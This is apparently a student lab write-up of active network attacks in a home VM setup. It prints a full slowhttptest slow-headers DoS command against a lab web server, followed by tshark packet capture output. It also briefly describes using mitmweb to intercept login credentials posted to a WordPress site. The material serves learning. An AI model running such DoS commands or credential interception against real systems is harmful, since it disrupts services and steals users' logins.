

Active attacks

Group 1 - Introduction

1. I used a Kali VM, a Debian VM where I set up a website and a Windows 10 VM as a client. The VM's interacted with my network.

Group 2 - DoS

1. I used **slowhttptest** command and performed a DoS attack on the Debian server.

```
-(kali⊗kali)-[~]
└─$ slowhttptest -H -c 2000 -g -o report -i 10 -r 300 -t GET -u http://10.10.10.2
54 -x 24 -p 3
Tue May 2 12:46:58 2023: set open files limit to 2010
Tue May 2 12:46:58 2023:
        slowhttptest version 1.8.2
- https://github.com/shekyan/slowhttptest -
                                    SLOW HEADERS
Tue May 2 12:46:58 2023:
slow HTTP test status on 0th second:
initializing:
                      0
pending:
connected:
                      0
                      0
error:
closed:
                      0
service available:
                      YES
Tue May 2 12:47:03 2023:
```

2. Intercepted the traffic with **tshark** command.

```
(kali⊗kali)-[~]
 $ tshark -i eth1 dst 10.10.10.254
Capturing on 'eth1'
** (tshark:55708) 12:46:37.648123 [Main MESSAGE] -- Capture started.
 ** (tshark:55708) 12:46:37.648248 [Main MESSAGE] -- File: "/tmp/wireshark_eth1Z1H
M41.pcapng"
    1 0.000000000 10.10.10.10 → 10.10.10.254 TCP 74 54538 → 80 [SYN] Seq=0 Win=64
240 Len=0 MSS=1460 SACK_PERM TSval=4267487290 TSecr=0 WS=128
    2 0.000392715 10.10.10.10 → 10.10.10.254 TCP 74 54542 → 80 [SYN] Seq=0 Win=64
240 Len=0 MSS=1460 SACK_PERM TSval=4267487291 TSecr=0 WS=128
    3 0.000706800 10.10.10.10 → 10.10.10.254 TCP 66 54538 → 80 [ACK] Seq=1 Ack=1
Win=64256 Len=0 TSval=4267487291 TSecr=1383387133
    4 0.000908141 10.10.10.10 → 10.10.10.254 TCP 66 54542 → 80 [ACK] Seq=1 Ack=1
Win=64256 Len=0 TSval=4267487291 TSecr=1383387133
    5 0.001963330 10.10.10.10 → 10.10.10.254 HTTP 220 GET / HTTP/1.1
    6 0.002061611 10.10.10.10 → 10.10.10.254 TCP 218 GET / HTTP/1.1 [TCP segment
of a reassembled PDU]
    7 0.003147785    10.10.10.10 → 10.10.10.254 TCP 66 54538 → 80 [ACK] Seq=155 Ack=
836 Win=64128 Len=0 TSval=4267487294 TSecr=1383387135
    8 0.005934912 10.10.10.10 → 10.10.10.254 TCP 74 54554 → 80 [SYN] Seq=0 Win=64
240 Len=0 MSS=1460 SACK_PERM TSval=4267487296 TSecr=0 WS=128
9 0.006333257 10.10.10.10 → 10.10.10.254 TCP 66 54554 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=4267487297 TSecr=1383387138
   10 0.006504686 10.10.10.10 → 10.10.10.254 TCP 66 54538 → 80 [FIN, ACK] Seq=155
 Ack=836 Win=64128 Len=0 TSval=4267487297 TSecr=1383387135
  11 0.006903728 10.10.10.10 → 10.10.10.254 TCP 66 54538 → 80 [ACK] Seq=156 Ack=
837 Win=64128 Len=0 TSval=4267487297 TSecr=1383387139
   12 0.010485839 10.10.10.10 → 10.10.10.254 TCP 74 54566 → 80 [SYN] Seq=0 Win=64
240 Len=0 MSS=1460 SACK_PERM TSval=4267487301 TSecr=0 WS=128
```

```
6669 8.933430418 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59448 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496222 TSecr=1383389778
6670 8.933431319 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59444 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496222 TSecr=1383389769
6671 8.933432464 10.10.10.10 → 10.10.10.254 TCP 54 58708 → 80 [RST] Seq=154 Win=
0 Len=0
6672 8.933433796 10.10.10.10 → 10.10.10.254 TCP 54 58712 → 80 [RST] Seq=154 Win=
0 Len=0
6673 8.933434831 10.10.10.10 → 10.10.10.254 TCP 54 58712 → 80 [RST] Seq=154 Win=
0 Len=0
6674 8.933435736 10.10.10.10 → 10.10.10.254 TCP 54 58722 → 80 [RST] Seq=154 Win=
0 Len=0
6675 8.933973686 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59188 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496224 TSecr=1383389626
6676 8.933989386 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59174 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496224 TSecr=1383389621
6677 8.934260489 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59170 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496225 TSecr=1383389617
6678 8.934273635 10.10.10.10 → 10.10.10.254 TCP 66 [TCP Retransmission] 59168 →
80 [FIN, ACK] Seq=153 Ack=1 Win=64256 Len=0 TSval=4267496225 TSecr=1383389612
6679 8.934730352 10.10.10.10 \rightarrow 10.10.10.254 TCP 54 58722 \rightarrow 80 [RST] Seq=154 Win=
0 Len=0
6680 8.934734432 10.10.10.10 → 10.10.10.254 TCP 54 58730 → 80 [RST] Seq=154 Win=
0 Len=0
6681 8.934735927 10.10.10.10 → 10.10.10.254 TCP 54 58730 → 80 [RST] Seq=154 Win=
0 len=0
6682 8.934737425 10.10.10.10 → 10.10.10.254 TCP 54 58744 → 80 [RST] Seq=154 Win=
0 Len=0
6683 8.934739204 10.10.10.10 → 10.10.10.254 TCP 54 58744 → 80 [RST] Seq=154 Win=
0 Len=0
6684 8.934740979 10.10.10.10 → 10.10.10.254 TCP 54 58746 → 80 [RST] Seq=154 Win=
0 Len=0
```

Group 3 - MitM

- 1. Logged into https://theg00dpirate.worpress.com account on Windows 10.
- 2. Used MitMWeb on Kali and performed an attack to get access to input credentials for https://theg00dpirate.worpress.com.
- 3. Intercepted the traffic with **mitmweb** (POST method) that contains the website credentials.

